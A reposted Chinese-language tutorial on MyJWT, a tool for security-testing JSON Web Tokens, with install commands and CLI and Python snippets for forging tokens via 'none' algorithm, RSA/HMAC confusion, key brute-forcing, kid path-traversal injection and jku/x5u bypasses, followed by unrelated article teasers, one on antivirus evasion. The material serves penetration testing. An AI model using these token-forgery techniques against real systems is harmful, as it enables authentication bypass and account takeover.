如何使用MyJWT测试你的JWT是否存在安全问题

关于MyJWT

MyJWT是一款针对JSON Web Token(JWT)的安全检测工具,该工具适用于渗透测试人员、CTF 玩家或开发人员,可以快速针对JWT执行安全扫描与检测。

功能介绍

1、支持将新的 jwt 复制到剪贴板;

2、用户界面;

3、颜色高亮输出;

4、修改 jwt (header/Payload);

5、无漏洞;

6、RSA/HMAC 混淆;

7、使用密钥对 jwt 进行签名;

8、暴力破解密钥;

9、使用正则表达式来猜测密钥以破解 jwt;

10、Kid注入;

11、Jku 旁路;

12、X5u 旁路;

工具要求

recommonmark==0.7.1

Sphinx==7.3.7

sphinx-markdown-tables==0.0.17

sphinx-rtd-theme==2.0.0

工具安装

由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好最新版本的Python 3环境。

源码安装

广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

git clone https://github.com/mBouamama/MyJWT.git

然后切换到项目目录中,使用pip命令和项目提供的requirements.txt安装该工具所需的其他依赖组件:

cd ./MyJWT

pip install -r requirements.txt

PyPI安装

pip install myjwt

Docker运行

docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# 加载字典文件所在卷

docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# Windows

docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

BlackArch安装

pacman -S myjwt

工具使用

查看工具帮助选项:

python MyJWT/myjwt_cli.py --help

工具运行演示

修改你的 Jwt

命令行界面:

myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"

代码:

from myjwt.modify_jwt import add_header, change_payload

from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

 

jwt_json = jwt_to_json(jwt)

jwt_json = add_header(jwt_json, {"kid": "001"})

jwt_json = change_payload(jwt_json, {"username": "admin"})

jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

无漏洞

命令行界面:

myjwt YOUR_JWT --none-vulnerability

代码:

from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

from myjwt.vulnerabilities import none_vulnerability

jwt_json = jwt_to_json(jwt)

jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

签名密钥

命令行界面:

myjwt YOUR_JWT --sign YOUR_KEY

代码:

from myjwt.modify_jwt import signature

from myjwt.utils import jwt_to_json

key = "test"

jwt = signature(jwt_to_json(jwt), key)

暴力破解

命令行界面:

myjwt YOUR_JWT --bruteforce PATH

代码:

from myjwt.vulnerabilities import bruteforce_wordlist

wordlist = "../../wordlist/common_pass.txt"

key = bruteforce_wordlist(jwt, wordlist)

破解

命令行界面:

myjwt YOUR_JWT --crack REGEX

RSA/HMAC 混淆

命令行界面:

myjwt YOUR_JWT --hmac FILE

代码:

from myjwt.vulnerabilities import confusion_rsa_hmac

file = "public.pem"

jwt = confusion_rsa_hmac(jwt, file)

Kid注入

命令行界面:

myjwt YOUR_JWT --kid INJECTION

代码:

from myjwt.modify_jwt import signature

from myjwt.utils import jwt_to_json

from myjwt.vulnerabilities import inject_sql_kid

 

injection = "../../../../../../dev/null"

sign = ""

jwt = inject_sql_kid(jwt, injection)

jwt = signature(jwt_to_json(jwt), sign)

发送你的新 Jwt 到 url

命令行界面:

myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

Jku

命令行界面:

myjwt YOUR_JWT --jku YOUR_URL

代码:

from myjwt.vulnerabilities import jku_vulnerability

new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")

print(jwt)

X5U

命令行界面:

myjwt YOUR_JWT --x5u YOUR_URL

代码:

from myjwt.vulnerabilities import x5u_vulnerability

newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")

print(jwt)

许可证协议

本项目的开发与发布遵循MIT开源许可协议。

项目地址

MyJWT:【GitHub传送门】

参考资料

http://myjwt.readthedocs.io/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/880909.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

人脸活体检测系统源码分享

人脸活体检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Vis…

Electron-vue asar 局部打包优化处理方案——绕开每次npm run build 超级慢的打包问题

背景 因为组员对于 Electron 打包过程存在比较迷糊的状态,且自己也没主动探索 Electron-vue 打包细节,导致每次打包过程都消耗 5-6 分钟的时间,在需要测试生产打包时,极其浪费时间,为此针对 Electron-vue 打包的几个环…

快手可灵AI全球升级1.5模型:引入“运动笔刷”功能 画质大幅提升

9月19日,快手公司宣布其可灵AI模型进行了全球范围内的重磅升级,推出了1.5版本。新版本在多个方面实现了显著提升,包括视频画质、动态效果、美学表现、运动合理性以及语义理解等。 新升级的1.5模型支持在高品质模式下直接输出1080p高清视频&am…

【笔记】2.1 半导体三极管(BJT,Bipolar Junction Transistor)

一、结构和符号 1. 三极管结构 常用的三极管的结构有硅平面管和锗合金管两种类型。各有PNP型和NPN型两种结构。 左图是NPN型硅平面三极管,右图是PNP型锗合金三极管。 从图中可见平面型三极管是先在一块大的金属板上注入杂质使之变成N型,然后再在中间注入杂质使之变成P型,…

Unity携程Coroutine用法

一.携程概述 官方的解释是,携程允许你可以在多个帧中执行任务。在Unity中,携程是一个可以暂停并在后续帧中从暂停处继续执行的方法。 二.携程写法 下面示例使用携程和Update打印前5帧的时间间隔,展示了携程的基础写法 using System.Colle…

[数据集][目标检测]不同颜色的安全帽检测数据集VOC+YOLO格式7574张5类别

重要说明:数据集里面有2/3是增强数据集,请仔细查看图片预览,确认符合要求在下载,分辨率均为640x640 数据集格式:Pascal VOC格式YOLO格式(不包含分割路径的txt文件,仅仅包含jpg图片以及对应的VOC格式xml文件…

使用Rust直接编译单个的Solidity合约

这里写自定义目录标题 使用Rust直接编译单个的Solidity合约前言预备知识准备工作示例 使用Rust直接编译单个的Solidity合约 前言 我们知道,我们平常开发Solidity智能合约时一般使用Hardhat框架,但是如果你是一个Rustacean (这是由 “Rust” 和 “crust…

C++速通LeetCode中等第3题-盛最多水的容器

双指针法:两个指针分别指向左右边界,记录最大面积,由于面积由短板决定,两个指针中较短的短指针向内移动一格,再次记录最大面积, 直到两指针相遇,得出答案。 class Solution { public:int maxAr…

Qt与Udp

(1)绑定端口 (2)广播 用udp实现广播通信_udp广播-CSDN博客 数据的发送是面向整个子网的,任何一台在子网中的计算机都可以接收到相同的数据。 如果一台机器希望向其他N台机器发送信息,这时候可以使用UDP的广播。 --------------- 广播地址&#xff1…

微服务_入门1

文章目录 一、 认识微服务二、 微服务演变2.1、 单体架构2.2、 分布式架构2.3、 微服务2.4、 微服务方案对比 三、 注册中心3.1、 Eureka3.2、 Nacos3.2.1、服务分级存储模型3.2.2、权重配置3.2.3、环境隔离 一、 认识微服务 二、 微服务演变 随着互联网行业的发展,…

【题解】CF1983E

翻译 原题链接 分析 显然,两人得分总和等于所有球的分数之和,所以我们只需要研究一个人即可,这里我们考虑Alice。 分析哪些球会被Alice拿走。我们称前 k k k个球为 1 1 1,其他球为 0 0 0。然后把一个 0 0 0和与前一个 0 0 0之间…

U 盘显示需要格式化才能用?一针见血的修复方法在这里!速看!

在日常使用电脑的过程中,我们常常会遇到各种让人头疼的问题,其中之一就是当插入 U 盘时,突然弹出提示 “U 盘需要格式化才能使用”。这可让很多人慌了神,毕竟 U 盘里可能存储着重要的文件资料。别着急,下面就为大家介绍…

【QT】系统-上

欢迎来到Cefler的博客😁 🕌博客主页:折纸花满衣 🏠个人专栏:QT 目录 👉🏻事件QWidget中常见的事件 👉🏻处理鼠标事件:leaveEvent和enterEvent👉&a…

API接口什么意思?电商API接口有什么作用

API接口简介: 从技术层面上来看,API是一系列函数、协议和工具,它们定义了软件组件如何交互,让开发者无需了解对方内部工作原理就可以使用对方的功能或服务。 事实上,API接口在电商行业中的应用较为广泛。 具体来看&…

Msf之Python分离免杀

Msf之Python分离免杀 ——XyLin. 成果展示: VT查杀率:8/73 (virustotal.com) 火绒和360可以过掉,但Windows Defender点开就寄掉了 提示:我用360测的时候,免杀过了,但360同时也申报了,估计要不了多久就寄…

【2025】中医药健康管理小程序(安卓原生开发+用户+管理员)

博主介绍: ✌我是阿龙,一名专注于Java技术领域的程序员,全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师,我在计算机毕业设计开发方面积累了丰富的经验。同时,我也是掘金、华为云、阿里云、InfoQ等平台…

vue2.0+ts注册全局函数和几个递归查找

vue2.0ts注册全局函数和几个递归查找 一、main.ts 一、main.ts // 定义你的全局函数,判断是否有按钮权限 interface Item {label: string;checked: number;[k: string]: any; } // 获取按钮时候权限 function globalLable(arr: Item[], label: string): boolean {for (const i…

未授权扫描工具-APIFinder

该工具目的是为了发现某文件中的路径,然后拼接到某url后,通过响应码及返回长度,快速定位并判断其是否存在未授权。 APIFinder [-h] [-u URL1] [-f file] [-U URL2] [-i RES] 参数描述-u目标url(例如:http://xxx.com/x.js)-f目标文件(由于一些…

《深度学习》—— 神经网络模型对手写数字的识别

神经网络模型对手写数字的识别 import torch from torch import nn # 导入神经网络模块 from torch.utils.data import DataLoader # 数据包管理工具,打包数据, from torchvision import datasets # 封装了很多与图像相关的模型,数据集 from torchvi…

神经网络 卷积层 参数共享

参数共享常用于神经网络卷积层中,共享的实际上就是说卷积核中的参数一直保持不变,如下所示就可以称为共享参数啦!!